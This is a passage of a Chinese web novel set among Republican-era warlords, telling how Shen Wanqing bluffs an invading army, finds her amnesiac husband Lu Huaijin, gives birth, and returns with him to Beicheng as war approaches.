沈晚清环视四周,目光所及之处,那些原本叫嚣的军官纷纷低下了头,冷汗涔涔。
“赵大炮图谋不轨,意图兵变,已被就地正法。”
沈晚清的声音回荡在大厅里,“念在各位是受人蛊惑,只要现在放下武器,退回驻地,我既往不咎。”
“但如果还有人想试试我手里的枪快不快……”
“不想死的,尽管来。”
“噗通!”
一个团长率先扔掉了手里的枪,“少夫人饶命!属下……属下誓死效忠陆家!效忠小少帅!”
“属下誓死效忠!”
哗啦啦一片,大厅里的军官跪倒了一地。
沈晚清看着眼前这群臣服的男人,紧绷的神经终于松了一分。
用陆淮锦教她的狠,用他留下的枪,守住了他的家。
“宋副官。”
“到!”
“把赵大炮的尸体,暴尸三日,以儆效尤!”
“整顿兵马,全城**!谁敢在这个时候给日本人当内应,这就是下场!”
“是!”
沈晚清转过身,走向那个空荡荡的主位。她并没有坐下去,而是站在旁边,轻轻抚摸着椅背,就像是在抚摸那个不在身边的人。
陆淮锦。
你看到了吗?
我没有给你丢脸。
你在前线流血,我在后方守家。
等你回来,我要还你一个完完整整的北城。
第89章 北城保卫战
刚清理完内部叛徒,帅府地砖上的血迹还没干透,一封加急战报又如同催命符般送到了沈晚清的案头。
“少夫人!直系吴大帅的先头部队五万人,已经逼近北城防线三十里处!他们的重炮旅正在构筑阵地,最迟明天拂晓就要攻城了!”
宋副官的声音沙哑,眼底布满了血丝。
指挥室里一片死寂。
剩下的几位师长面面相觑,脸上都写满了绝望。
“五万对一万……而且咱们刚经历内乱,士气低落,**不足。”一位师长摘下军帽,狠狠摔在桌上,“这仗没法打!少夫人,咱们撤吧!退守关外,留得青山在不怕没柴烧!”
“撤?”
沈晚清站在巨大的**前,手里拿着那把勃朗宁,目光紧紧盯着北城的位置。
“往哪撤?身后就是几十万北城百姓,是我们的药厂,是陆家的根基。”
她转过身,眼神冷冽,“一旦我们撤了,吴大帅进城,北城就会变成人间炼狱。陆淮锦打下的江山,就会改姓吴。”
“可不撤就是死啊!”
“未必。”
沈晚清走到窗前,看着窗外阴沉的天空,嘴角突然勾起一抹令人捉摸不透的笑意。
“吴大帅这个人,生性多疑,最怕的就是陆淮锦。他这次敢来,是赌陆淮锦**。但他心里没底,所以才走走停停,试探虚实。”
“既然他想试探,那我们就给他演一场大戏。”
沈晚清转过身,下达了一道让所有人都惊掉下巴的命令:
“传令下去!打开正阳门!撤掉城楼上的所有重**和沙袋!”
“什么?!打开城门?!”众将领大惊失色,“少夫人,这可是引狼**啊!”
“不仅要开门。”
沈晚清眼中闪烁着疯狂而自信的光芒,“还要发请帖!以我的名义,邀请英、法、美、德四国领事,以及全北城的名流,明天上午在正阳门城楼上举办——‘华夏制药厂新药发布会暨慈善冷餐会’!”
“我要在那城楼之上,请他们喝香槟,看风景!”
……
次日清晨,正阳门城楼。
两军对垒,大战一触即发。
然而,今天的北城城楼上,却出现了一幕极其荒诞的景象。
没有枪炮林立,没有杀气腾腾。
取而代之的,是鲜花、红毯、长条餐桌,还有穿着燕尾服穿梭其中的侍者。留声机里播放着悠扬的华尔兹舞曲,空气中弥漫着红酒和糕点的香气。
沈晚清穿着一件墨绿色的丝绒旗袍,外披白色狐裘,妆容精致,雍容华贵。她正端着酒杯,与英国领事谈笑风生,丝毫看不出兵临城下的紧张。
“Oh,Mrs.Lu,thispenicillinisamazing!”(陆夫人,这青霉素太神奇了!)
英国领事看着手里展示的新药样品,赞不绝口,“如果能大批量供应给我国,我们将视陆家为最亲密的盟友。”
“当然,领事先生。”
沈晚清优雅地抿了一口酒,目光却有意无意地飘向城外,“只要北城安稳,药厂就能正常生产。但如果有人想破坏这份安宁……”
她指了指城外远处若隐若现的直系军队旗帜,语气淡然,“那就不好说了。”
城外,五里坡。
吴大帅拿着望远镜,看着城楼上那歌舞升平的一幕,眉头拧成了一个“川”字。
“大帅!怎么不打啊?城门都开了!”手下的副官急得直跳脚。
“不对劲……太不对劲了。”
吴大帅放下了望远镜,心里直打鼓。
他跟陆淮锦斗了这么多年,太了解那个疯子了。陆家军向来强硬,什么时候搞过这种花架子?
“你看城楼上那些洋人,还有沈晚清那个女人……她笑得太淡定了。”
吴大帅多疑的毛病犯了,“这分明就是个套!城里肯定埋伏了重兵!而且……你看那个旗子!”
他指着城楼最高处。
那里虽然挂着陆家军的旗帜,但在旗杆旁边,却并排挂着英、法、美、德四国的国旗!
“这女人太阴毒了!”
吴大帅咬牙切齿,“她把洋
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人搬出来当挡箭牌!这一炮下去,要是炸死几个领事,八国联军能把我的祖坟给刨了!”
“那……那咱们怎么办?”
“报——!”
就在这时,一名侦察兵骑马冲了过来,“大帅!不好了!我们的后方……好像发现了小股部队活动的迹象!疑似是陆家军的精锐特种营!”
其实那只是宋副官带着几十个人在后面放鞭炮、扬灰尘搞的疑兵之计。
但这成了压垮吴大帅心理防线的最后一根稻草。
“果然有埋伏!我就知道陆淮锦没那么容易死!”
吴大帅吓得一身冷汗,“这是想把老子骗进城,然后关门打狗,再断我后路啊!”
“撤!快撤!”
吴大帅大手一挥,再也不敢多留一秒,“全军后撤三十里!不,撤回保定!这北城有鬼!”
轰隆隆。
来势汹汹的五万大军,竟然真的在一枪未发的情况下,被一场冷餐会和几面国旗给吓退了。
……
城楼上。
看着远处烟尘滚滚、仓皇撤退的敌军,沈晚清一直端着酒杯的手,终于微微颤抖了一下。
她长长地舒了一口气,后背的冷汗早已湿透了衣衫。
这是一场豪赌。
赌注是全城百姓的命,和她肚子里的孩子。
万幸,她赢了。
“少夫人!神了!真是神了!”
宋副官跑上来,激动得语无伦次,“吴大炮真的跑了!咱们守住了!”
沈晚清没有笑。
她放下酒杯,扶着城墙的垛口,只觉得一阵强烈的眩晕袭来。
“送客。”
她强撑着最后一点力气,对宋副官低声说道,“把这些洋人送走,每人送一箱青霉素。然后……扶我回去。”
“少夫人?您怎么了?”
“我没事……只是有点累。”
沈晚清摸了摸肚子,目光望向南方的天空。
陆淮锦,你看到了吗?
我用你的方式,守住了你的城。
可是……你到底在哪里?
我快要……撑不住了。
第90章 失忆归来
庭院里的梧桐叶黄了,一片片飘落在青石板上。
沈晚清坐在回廊下的藤椅上,身上盖着一条厚厚的羊毛毯。她的腹部已经高高隆起——八个月的身孕,让她原本消瘦的身形显得有些笨重,但那张脸却更加清减,下巴尖得让人心疼。
这半年,她活成了北城的传奇。
对外,她是铁腕手段、甚至比陆淮锦还要冷酷几分的“女帅”。她平定叛乱,逼退强敌,将药厂开遍了北六省,用源源不断的财富和药品,把陆家军喂得兵强马壮。
对内,她却是一个执拗的疯子。
每天晚上,她都会让人把听涛苑所有的灯都点亮,整夜不熄。她说,怕那个人回来了,找不到回家的路。
“少夫人,起风了,回屋吧。”
阿福轻手轻脚地走过来,手里端着一碗安胎药。这半年,阿福成了帅府的大管家,代替了年迈的福伯。
沈晚清没动,目光依旧望着南方的天空,眼神空洞而执着。
“阿福,你说……他是不是迷路了?”
她摸着肚子,声音轻得像风,“孩子都快出生了,他怎么还不回来?”
阿福鼻头一酸,眼泪差点掉下来。
半年来,搜救队从未停止过工作,但除了那条染血的衬衫布条,再无音讯。所有人都默认少帅已经不在了,只有少夫人,死活不肯立牌位,不肯发丧。
“少夫人……”
就在这时,院门口突然传来一阵急促且凌乱的脚步声。
“少夫人!少夫人!!”
宋副官一路狂奔而来,连帽子都跑掉了,脸上带着一种近乎癫狂的表情。他手里紧紧攥着一张信纸,因为用力过猛,纸张都快被捏碎了。
“找到了!找到了!”
沈晚清原本黯淡的眸子猛地亮起,她挣扎着想要站起来,却因为肚子太大而有些吃力。
“谁找到了?是……是他吗?”
宋副官冲到她面前,噗通一声跪下,将手里那张有些模糊的黑白照片举过头顶,泣不成声:
“是少帅!虽然……虽然样子变了点,但这绝对是少帅!”
沈晚清一把抢过照片。
照片是在远处偷拍的,背景是南方的一个水乡小镇。
照片上,一个男人正穿着一身粗布短打,背着一个药篓,走在青石板路上。虽然他蓄起了胡须,虽然他看起来黑瘦了许多,甚至……左腿似乎还有点跛。
但那眉眼,那轮廓,那是刻在她骨血里的人啊!
“他在哪?!”
沈晚清的手剧烈颤抖,眼泪瞬间决堤,滴落在照片上。
“在江南的一个小镇,叫‘乌镇’。”宋副官抹了一把脸,“是我们派去南方的探子偶然拍到的!探子说,这个人是半年前被水冲到那里的,一直住在当地的一个小医馆里!”
半年前……被水冲走……时间对上了!
“备车!去火车站!”
沈晚清猛地站起身,甚至推开了阿福的搀扶,眼中燃烧着炽热的火焰。
“少夫人!您现在的身子……”阿福急了,“预产期就在下个月,万一……”
“没有万一。”
沈晚清抚摸着肚子,语气坚定得不容置疑,“我要带着孩子,去接他爹爹回家。”
“备专列!带上最好的医生!马上出发!”
……
江南,乌镇。
三日后。
细雨蒙蒙,烟雨江南。
这里没有北方的肃杀与寒冷,只有吴侬软语和流水潺潺。
一艘乌篷船穿过石桥,缓缓停靠在一家名为“仁心堂”的小医馆门口。
沈晚清在宋副官和阿福的搀扶下,艰难地走下船。长途跋涉让她的双腿浮肿得厉害,脸色也苍白如纸,但她的眼睛却死死盯着那扇半掩的木门。
“就是这里。”宋副官低声道,“探子说,少帅每天这个时候都会回来晒药。”
正说着,木门“吱呀”一声开了。
一个高大的身影走了出来。
他穿着洗得发白的蓝色粗布衣裳,裤腿卷起,露出结实的小腿。他的左手提着一簸箕草药,正准备往架子上晾晒。
虽然他没有穿军装,虽然他胡子拉碴,虽然他的气质变得平和而内敛。
但他就是陆淮锦。
沈晚清感觉自己的心脏在这一刻停止了跳动,周围的世界仿佛都消失了,只剩下眼前这个男人。
“陆……淮锦……”
她颤抖着唇,发出一声破碎的呼唤。
男人听到了声音,动作微微一顿。
他转过身,那双曾经锐利如鹰、如今却清澈如水的眼睛,看向了沈晚清。
四目相对。
沈晚清期待着他眼中的惊喜,期待着他冲过来抱住她,喊她一声“晚晚”。
然而,没有。
什么都没有。
他的眼神里,只有陌生,疑惑,甚至……还有一丝被陌生人打扰的警惕。
“这位夫人。”
男人开口了,声音依旧磁性,却说着让她如坠冰窟的话:
“你是来看病的吗?大夫在里面,我只是个……打杂的。”
打杂的?
他不认识她了?
沈晚清如遭雷击,整个人僵在原地,眼泪无声地滑落:“陆淮锦……我是晚晚啊……我是你的妻子……你看看我……”
她指着自己隆起的肚子,一步步走向他,声音凄厉,“你看看孩子……这是我们的孩子啊!
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”
男人看着她激动的样子,眉头微微皱起,下意识地后退了一步。
“夫人,你认错人了。”
他摇摇头,语气平静得残忍,“我叫阿金。不是什么陆淮锦。”
“阿金?”
沈晚清愣住了。
就在这时,屋里传来一道清脆娇俏的女声:
“阿金哥!是谁呀?是不是有人来买药了?”
门帘掀开。
一个穿着碎花布衣、扎着大辫子的年轻姑娘跑了出来。她手里还拿着一块擦汗的手帕,十分自然地走到男人身边,替他擦了擦额头上的雨水。
“哎呀,怎么淋湿了?快进屋,别着凉了。”
姑娘的动作亲昵而熟稔,就像是……妻子对待丈夫。
而那个曾经除了沈晚清谁都不让碰的陆少帅,竟然没有躲开,反而对着那个姑娘露出了一抹憨厚而温柔的笑:
“没事,秀儿。来了位夫人,好像是……认错人了。”
秀儿?
阿金?
沈晚清看着眼前这一幕“郎情妾意”的画面,只觉得胸口一阵剧痛,仿佛被人狠狠捅了一刀。
她在北方守着他的江山,日夜哭泣,为了找他差点把命都搭上。而他,却在这里,成了别人的“阿金哥”,过着神仙眷侣的日子?
“认错人?”
沈晚清惨笑一声,身体摇摇欲坠。
“陆淮锦,你就算是化成灰,我也认得你的骨头!”
她猛地推开宋副官,冲上去一把抓住男人的衣领,死死盯着他的眼睛:
“你看着我!你再敢说一句不认识我?!”
男人被她的气势吓了一跳,眼神中闪过一丝迷茫和痛苦,似乎有什么东西在脑海深处炸裂,但他想不起来,只能捂着头,痛苦地蹲下身去。
“头……头疼……”
“你干什么呀!”
那个叫秀儿的姑娘急了,一把推开沈晚清,“你这个疯子!你弄疼阿金哥了!他是我的救命恩人,也是我的未婚夫!我不许你欺负他!”
未婚夫。
这三个字,成了压垮沈晚清的最后一根稻草。
腹部突然传来一阵剧烈的绞痛。
沈晚清脸色瞬间惨白,一股温热的液体顺着腿根流了下来。
“啊……”
她捂着肚子,痛苦地倒在宋副官怀里。
“少夫人!!”
宋副官大惊失色,看着地上的血水,“羊水破了!要生了!!”
雨,越下越大。
在这个陌生的江南小镇,沈晚清在找到丈夫的这一刻,迎来了她生命中最危险的一道关卡。
而那个她深爱的男人,正一脸茫然地被另一个女人护在身后,看着她痛不欲生。
第91章 雨夜产子
雷声滚滚,闪电撕裂了漆黑的夜空,将这座江南小镇照得惨白。
“啊——!!”
一声凄厉的惨叫声穿透雨幕,从那间简陋的厢房里传了出来。
屋内,一盆盆血水被端了出来。
沈晚清躺在床上,满头大汗,长发已经被汗水湿透,凌乱地贴在苍白的脸上。剧烈的阵痛像潮水一样一波波袭来,每一次都像是要将她的身体撕裂。
“少夫人!用力!再用力啊!”
阿福跪在床边,哭着给她擦汗,“您一定要撑住!为了小少帅,您不能睡啊!”
“疼……好疼……”
沈晚清死死抓着床单,指甲已经断裂。早产加上长途跋涉,让她的体力透支到了极限。她感觉生命力正在随着下身的血水一点点流逝。
“大夫呢?!大夫怎么还没来!”宋副官在门口急得像热锅上的蚂蚁,手里握着枪,恨不得把这医馆给拆了。
“来了来了!”
那个叫秀儿的姑娘端着热水和剪刀冲了进来,身后跟着她的爷爷——仁心堂的老大夫。
“你们都出去!男人别在这里添乱!”
秀儿虽然年纪不大,但此刻却展现出了医者的干练。她一把推开宋副官,“我是大夫,也是稳婆!要想让这女人活命,就听我的!”
宋副官犹豫了一下,看了一眼床上气若游丝的沈晚清,最终咬牙退到了门外。
“如果少夫人有个三长两短,我要你们全家陪葬!”他恶狠狠地威胁道。
……
门外,回廊下。
雨水顺着屋檐如瀑布般倾泻而下。
那个叫“阿金”的男人——陆淮锦,正抱着头,蹲在角落里。
他的头好疼。
就像是有无数把钢针在脑子里搅动。
屋内那个女人凄厉的叫声,每一声都像是重锤一样砸在他的心上。
“陆淮锦……陆淮锦……”
她在喊这个名字。
那是谁?是我吗?
“啊——!!”
又是一声惨叫,伴随着“哐当”一声雷响。
陆淮锦猛地抬起头,眼神中闪过一丝极度的迷茫与恐惧。
随着这声惨叫,他的脑海深处,仿佛有一道封印被撕裂了。
无数破碎的画面像洪水一样涌了出来——
“陆淮锦,我要嫁给你,做这北地最尊贵的女人。”——那个穿着白大褂、眼神清冷的女子。
“晚晚,看着我!别怕!”——那个在悬崖边,用身体为他挡**的女子。
“活下去……一定要活下去……”——那个在坠落深渊前,绝望哭喊的女子。
那些画面是红色的,是血,是嫁衣,是火光。
“晚晚……”
陆淮锦抱着头,发出一声痛苦的低吼。**这个名字意味着什么,但他知道,那个在里面受苦的女人,是他的命。
比命还重要。
“阿金哥!你怎么了?”
秀儿从屋里跑出来拿药,看到陆淮锦这副样子,吓了一跳,“你别吓我啊!你是不是头疼病又犯了?”
陆淮锦没有理她。
他猛地站起身,那一瞬间,他身上那种憨厚平和的气息荡然无存,取而代之的,是一种令人战栗的煞气。
他推开秀儿,不顾一切地冲向那扇紧闭的房门。
“站住!你不能进去!”宋副官下意识地拦阻。
“滚开!”
陆淮锦一挥手,那种刻在骨子里的格斗技巧本能地爆发,竟然直接将身经百战的宋副官推得一个踉跄。
“少……少帅?”宋副官愣住了。这身手,这眼神,除了少帅还能是谁?
陆淮锦一脚踹开房门,冲进了那充满血腥味的产房。
……
产房内。
“不好了!难产!孩子是脚先出来的!”
老大夫满手是血,急得满头大汗,“这……这恐怕要保不住了!大人也没力气了!”
床上的沈晚清已经陷入了半昏迷状态。
“陆淮锦……”
她还在呢喃着那个名字,声音微弱得几乎听不见,“救……救孩子……”
就在这时,一只温热有力的大手,紧紧握住了她冰凉的手。
“晚晚。”
熟悉的声音,带着颤抖,在她耳边响起。
“我在这儿。我不走。”
沈晚清艰难地睁开眼。
模糊的视线中,她看到了那张魂牵梦绕的
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脸。虽然胡子拉碴,虽然满眼红血丝,但那双眼睛里的焦急与深情,骗不了人。
是他。
他回来了。
“用力。”
陆淮锦跪在床边,将她的手贴在自己的脸上,眼泪混合着雨水滴在她的手背上,“看着我。你骂过我,打过我,你不是最恨我吗?那就用力!别输给阎王爷!”
“你要是敢死,我就带着孩子跟你一起走!黄泉路上,我不许你一个人!”
这一番话,像是一剂强心针,狠狠扎进了沈晚清的心脏。
她不能死。
她好不容易才找到他,好不容易才等到这一天。
“啊——!!!”
沈晚清爆发出一声歇斯底里的怒吼,用尽了生命中最后的一丝力气,狠狠抓紧了陆淮锦的手。
那是一种向死而生的力量。
“哇——!!!”
一声嘹亮的啼哭声,终于划破了这漫长的雨夜。
“生了!生了!”
秀儿激动得跳了起来,“是个大胖小子!母子平安!”
那个皱巴巴、浑身带血的小生命被老大夫提着双脚,发出了来到人世间的第一声呐喊。
陆淮锦看着那个孩子。
那种血脉相连的悸动,让他的心脏剧烈收缩。
头痛欲裂。
这一次,那些破碎的画面终于拼凑成了完整的记忆。
他是陆淮锦。
是北六省的少帅。
是眼前这个女人的丈夫。
“我想起来了……”
陆淮锦颤抖着手,想要去抱那个孩子,却又不敢,只能死死抱着虚脱昏迷的沈晚清,埋首在她的颈窝,发出一声压抑到极致的哽咽:
“我想起来了……晚晚,我是陆淮锦……我回来了……”
窗外,雷声渐歇,暴雨转为淅沥的小雨。
站在门口的秀儿,看着这一幕,手中的剪刀“哐当”一声掉在地上。
她看着那个平日里对自己虽然温和却始终保持距离的“阿金哥”,此刻像个孩子一样抱着那个女人痛哭。
她终于明白,那个女人并没有认错人。
而她,从始至终,都只是这两人传奇故事里,一个微不足道的过客。
第92章 满月回城
江南的秋意渐浓,桂花香飘满了整个小镇。
这一个月,对于乌镇的百姓来说,发生了一件怪事。那个原本只有几间破瓦房的小医馆“仁心堂”,突然被一群穿着黑衣、腰里鼓鼓囊囊的壮汉给围起来了。不仅如此,每天都有流水般的补品、绸缎往里送,甚至还有听说从上海特意请来的洋医生。
内院,厢房。
沈晚清靠在软枕上,看着怀里正在熟睡的婴儿,眉眼间尽是初为人母的温柔。
孩子刚满月,长得白白净净,眉眼像极了陆淮锦,但那张小嘴却随了她。
“看什么呢?这么入神。”
门帘掀开,陆淮锦走了进来。
他已经剃掉了那些杂乱的胡须,换下了粗布短打,穿上了一身宋副官连夜从上海定做的深灰色西装。虽然因为腿伤未愈还需要拄着一根手杖,但那种从骨子里透出的矜贵与杀伐之气,已经完全回归。
“在看咱们的小少帅。”
沈晚清笑着把孩子往他怀里送了送,“你给他起的名字,想好了吗?”
陆淮锦小心翼翼地接过那个软绵绵的小团子,手指轻轻戳了戳儿子的脸蛋。
“想好了。”
他看着沈晚清,眼神深邃,“大名叫陆念清。念念不忘,必有回响。如果不是因为心里念着你,我可能早就死在那条河里了。”
“念清……”沈晚清咀嚼着这两个字,眼眶微热,“好,就叫念清。那乳名呢?”
“乳名就叫……团圆吧。”
陆淮锦低下头,亲了亲孩子的额头,“一家团圆,比什么都强。”
……
前堂,药铺。
虽然是一家人团圆,但有些“账”,还是要算清楚的。
秀儿姑娘正红着眼圈,站在柜台后面捣药。她的爷爷老中医则坐在一旁,手里拿着一杆烟枪,叹气连连。
“秀儿姑娘,老先生。”
陆淮锦拄着手杖走了出来,身后跟着宋副官。
看到那个曾经喊自己“阿金哥”的男人,如今变成了高不可攀的陆少帅,秀儿的手抖了一下,药杵差点掉下来。
“陆……陆少帅……”老中医慌忙站起来想要行礼。
“老先生坐。”
陆淮锦伸手扶住他,语气温和却带着疏离,“这半年,多谢二位的救命之恩。陆某是个恩怨分明的人。这点心意,请务必收下。”
宋副官上前一步,将一个沉甸甸的红木箱子放在柜台上,打开。
金光灿灿。
整整一箱子的“小黄鱼”,还有一张上海汇丰银行的本票,以及一份地契。
“这是上海法租界的一处带花园的洋房,还有足以买下十个仁心堂的资金。”
陆淮锦淡淡道,“另外,我会让人给当地的督军打招呼,以后在江南地界,没人敢欺负秀儿姑娘。”
秀儿看着那些足以让她十辈子衣食无忧的财富,眼泪终于掉了下来。
“阿金哥……不,陆少帅。”
她咬着嘴唇,鼓起勇气问道,“你……真的全都想起来了吗?那半年……我们就只是……恩人吗?”
陆淮锦看着她,眼神没有丝毫波动。
“是。”
他回答得斩钉截铁,“在我心里,除了晚晚,装不下任何人。那半年,多谢照顾。但在我恢复记忆的那一刻,阿金就已经**。”
“拿着钱,找个好人嫁了吧。”
说完,他转过身,不再多看一眼,大步向内院走去。
对于陆淮锦来说,这已经是最大的仁慈。他给了她们下半生的荣华富贵,但也仅仅止步于此。他的
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柔情,从来只属于沈晚清一人。
……
乌镇码头。
正午时分。
一艘挂着陆家军旗帜的豪华轮船,正停泊在运河中央,汽笛长鸣。
沈晚清抱着小团圆,在众人的簇拥下登船。
码头上,秀儿和爷爷并没有来送行。也许是羞愧,也许是伤心,她们选择了回避。
“少帅,船准备好了。直达天津卫,然后转火车回北城。”
宋副官敬了个礼,脸上洋溢着久违的兴奋,“北边的弟兄们听说您活着回来了,都炸了锅了!现在士气高涨,就等着您回去主持大局呢!”
“嗯。”
陆淮锦站在甲板上,迎着江风,目光眺望着北方的天际。
虽然离开了半年,但他知道,北城的局势比他想象的还要糟糕。直系军阀虽然暂时退却,但一直虎视眈眈;日本人虽然被清了一次,但佐藤还没死,肯定还在暗中布局;还有帅府内部那些被沈晚清暂时压下去的墙头草……
这次回去,注定是一场血雨腥风。
陆淮锦搂过她的肩膀,看着怀里熟睡的儿子,眼底闪过一丝狠厉。
“以前我打仗,是为了权势,为了陆家的地位。”
“但现在……”
他握住沈晚清的手,感受着那枚钻戒的温度:
“我是为了给你们娘俩,打下一个干干净净的天下。”
“传令!”
陆淮锦猛地转身,对着身后的卫队低吼:
“电告北城!告诉所有人——”
“我陆淮锦,回来了!”
“呜——!!”
轮船启动,破开平静的江面,卷起千堆雪。
从江南水乡到北国风雪,这艘船载着的不仅是归来的王者,更是即将席卷整个北六省的复仇风暴。
第93章 重整河山
今天的北城火车站,戒备森严到了极点。
不仅仅是警卫营,就连驻扎在城外的第一师精锐都被调了进来,三步一岗,五步一哨,黑洞洞的枪口对准了每一个试图靠近的闲杂人等。
空气中弥漫着一股令人窒息的压抑感。
所有人都知道,那个男人回来了。
那个曾经被传言坠崖身亡、尸骨无存的陆少帅,带着那个替他守住了半壁江山的女人,活着回来了。
“呜——!!”
随着专列进站的汽笛声响起,站台上那些早已等候多时的军政要员们,个个神色紧绷。有人面露喜色,有人却额头冒汗,双腿发软。
车门缓缓打开。
先下来的是两排全副武装的卫兵,杀气腾腾地控制了各个通道。
紧接着,一只在此刻无比刺眼的黑色手杖先探了出来,点在了站台的地面上。
随后,陆淮锦那一身深灰色西装的身影出现在众人面前。
他瘦了些,脸上没了往日的狂傲,却多了一份深不可测的沉稳。那双鹰隼般的眸子淡淡扫过全场,凡是与他对视的人,都不由自主地低下了头。
在他身后,沈晚清抱着襁褓中的孩子,神色从容地走了下来。
“恭迎少帅!恭迎少夫人!”
宋副官带头,数千名士兵齐声高呼,声浪震天。
陆淮锦没有说话,只是微微颔首。
他走到那几个额头冒汗的师长面前,嘴角勾起一抹似笑非笑的弧度:
“诸位叔伯,半年不见,别来无恙啊?”
“托……托少帅的福,无恙,无恙……”带头的一个胖师长擦着汗,赔笑道。
“是吗?”
陆淮锦眼神一冷,“但我听说,这半年有人也没闲着,跟南边的吴大帅通过不少信啊。”
胖师长脸色瞬间煞白,噗通一声跪在地上。
陆淮锦没有理会,只是揽过沈晚清的肩膀,径直走向停在路边的汽车。
“走吧。回府。”
“有些账,咱们关起门来,慢慢算。”
……
陆帅府,聚义堂。
这里曾是沈晚清独自面对群狼逼宫的地方,如今,正主回来了。
陆淮锦坐在主位上,手里把玩着那把曾留给沈晚清的**。沈晚清坐在他身侧,怀里抱着正在吐泡泡的小念清。
堂下,跪着三个人。
除了刚才那个胖师长,还有两个掌管后勤和城防的旅长。
“这半年来,我夫人为了守住这个家,挺着大肚子跟你们周旋,还要防着外敌。”
陆淮锦的声音很轻,却在空旷的大厅里回荡,每一个字都像是砸在人心上,“可你们呢?克扣军饷,私卖**,甚至暗中把城防图送给直系军阀。”
“少帅饶命啊!我们是一时糊涂!”
“糊涂?”
陆淮锦猛地一拍桌子,那把勃朗宁在桌面上跳了一下。
“如果是贪点钱,看在你们跟了我父亲多年的份上,我可以让你们滚蛋了事。但通敌**,出卖兄弟……”
他站起身,走到那个胖师长面前,居高临下地看着他:
“这是死罪。”
“少帅!我是老人了!大帅都不会杀我!”胖师长还在垂死挣扎。
“正因为你是老人,我才要亲手送你上路,免得你晚节不保,遗臭万年。”
陆淮锦拔出枪,动作快得让人看不清。
“砰!砰!砰!”
三声枪响。
三具尸体倒在血泊中。
没有任何审判,没有任何废话。陆淮锦用最直接、最血腥的方式告诉所有人——
那个心狠手辣的活阎王,回来了。
而且比以前更狠。
大厅里的其他将领吓得大气都不敢喘,一个个挺直了腰杆,生怕下一个轮到自己。
“清理干净。”
陆淮锦收起枪,接过侍卫递来的手帕擦了擦手,语气恢复了平静,“剩下的事,宋副官会跟你们交接。从今天起,陆家军进行整编。谁要是再敢有二心……”
他指了指地上的尸体。
“这就是榜样。”
“散会。”
……
后院,大帅卧房。
处理完外面的血腥,陆淮锦身上的戾气散去。他在门口站了一会儿,散了散身上的**味,才推门走了进去。
房间里弥漫着浓重的中药味。
陆大帅躺在床上,半边身子不能动弹,嘴也有点歪。这半年,他虽然醒了,但因为中风,一直只能卧床静养。
听到开门声,陆大帅费力
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地转过头。
当他看到那个走进来的身影时,浑浊的老眼猛地瞪大,喉咙里发出“嗬嗬”的声音,激动的泪水瞬间涌了出来。
“爹。”
陆淮锦走到床边,噗通一声跪下,“儿子不孝,回来晚了。”
陆大帅颤抖着那是完好的左手,死死抓住陆淮锦的手臂,张着嘴想说话,却说不清楚,只是不停地流泪。
他以为这辈子再也见不到这个儿子了。他以为陆家真的要绝后了。
“爹,您别激动。”
沈晚清抱着孩子走过来,柔声说道,“您看看,这是谁?”
她把小念清放在陆大帅的枕头边。
小家伙一点也不认生,睁着乌溜溜的大眼睛看着这个奇怪的老头,突然咧嘴一笑,伸出胖乎乎的小手,抓住了陆大帅的胡子。
“啊……啊……”
陆大帅看着这个粉雕玉琢的小娃娃,整个人都僵住了。
这就是他的孙子?
这就是陆家的根?
一种前所未有的生命力注入了这个垂死老人的身体。
“孙……孙……”陆大帅拼命动着舌头,竟然含糊不清地喊出了一个字。
“是,是您的孙子,叫念清。乳名团圆。”陆淮锦红着眼眶说道。
“好……好……”
陆大帅笑了,笑得满脸褶子都开了花。他费力地从枕头底下摸出一个锦盒,颤巍巍地递给陆淮锦。
陆淮锦打开一看。
那是陆家军的帅印。
“给……给你……”陆大帅看着儿子,眼神里充满了欣慰与解脱,“以后……你就是……大帅。”
他累了。
这半辈子戎马生涯,打打杀杀,他早就累了。
如今儿子回来了,孙子也有了,媳妇又能干。他终于可以卸下这副重担,安心做一个含饴弄孙的富家翁了。
陆淮锦双手接过那枚沉甸甸的帅印,对着父亲重重磕了三个响头。
“爹,您放心。”
“只要我活着一天,这北六省的天,就塌不下来。”
窗外,秋风卷起落叶。
但帅府内的气氛,却从肃杀转为了温情。
随着帅印的交接,旧的时代结束了。
属于陆淮锦和沈晚清的时代,正式到来。
第94章 风雨欲来
民国十一年,四月。
窗外的丁香花开得正艳,但这满园的春色,却掩盖不住空气中那股令人窒息的**味。
巨大的**占据了整面墙壁。地图上,红蓝两色的箭头犬牙交错,密密麻麻地标注在京津沿线、长辛店以及霸县一带。
陆淮锦身着笔挺的戎装,双手撑在桌沿,目光阴鸷地盯着地图上的“保定”二字。
“少帅,直系那边又发电报了。”
宋副官满脸怒容地走进来,将一份刚译好的电文拍在桌上,“吴大帅那个老匹夫,在通电里大骂我们陆家军是‘阻碍共和之祸首’,还要咱们立刻撤出山海关,交出兵权,接受中央改编!”
“骂?”
陆淮锦冷笑一声,拿起电文扫了一眼,随手扔进旁边的火盆里。
火舌吞噬了纸张,映照着他棱角分明的侧脸。
“骂得越凶,说明他心里越急。”
陆淮锦转过身,看向会议室里的十几位高级将领,“电报战打了半个月了,嘴皮子磨破了,接下来,该动真格的了。”
“少帅,根据情报,吴大帅的主力第三师已经进驻长辛店,距离咱们的防区只有不到三十里。”
第一师师长站起来汇报,神色凝重,“而且,他们这次还拉拢了几路军阀,号称二十万大军,想要把咱们一口吞了。”
“二十万?”
陆淮锦不屑地扯了扯嘴角,“一群乌合之众。传我的令!”
唰!
在场将领齐刷刷立正。
“第一师,即刻开拔,抢占马厂!”“第二师,沿津浦线布防,给我钉死在静海!”“警卫旅扩编为独立团,作为总预备队,随时准备支援!”
陆淮锦拔出腰间的指挥刀,刀锋直指地图上的长辛店:
“既然他吴大帅想打,那我就在长辛店陪他好好玩玩!告诉弟兄们,这一仗,关乎北六省未来三十年的气运!谁要是给我掉链子,提头来见!”
“是!!”
将领们鱼贯而出,大战前的紧张气氛瞬间弥漫整个帅府。
……
帅府后院,听涛苑。
与前院的肃杀不同,这里依旧保持着一份难得的宁静。但这份宁静下,同样暗流涌动。
沈晚清正在清点着手中的账册和清单。
“东家,这是这一季度华夏制药厂的生产报表。”
阿福站在一旁,压低声音汇报,“按照您的吩咐,咱们这两个月所有的生产线都在满负荷运转。青霉素存了三千箱,止血粉五千箱,绷带和急救包更是堆满了三个仓库。”
“不够。”
沈晚清合上账册,眉头紧锁,“如果真的打起来,这是几十万人的大会战,这点药根本不够。”
作为穿越者,她比任何人都清楚即将爆发的这场大战有多惨烈。历史上,第一次直奉大战虽然时间不长,但伤亡极大,尸横遍野。
“让药厂实行三班倒,人歇机器不歇。”
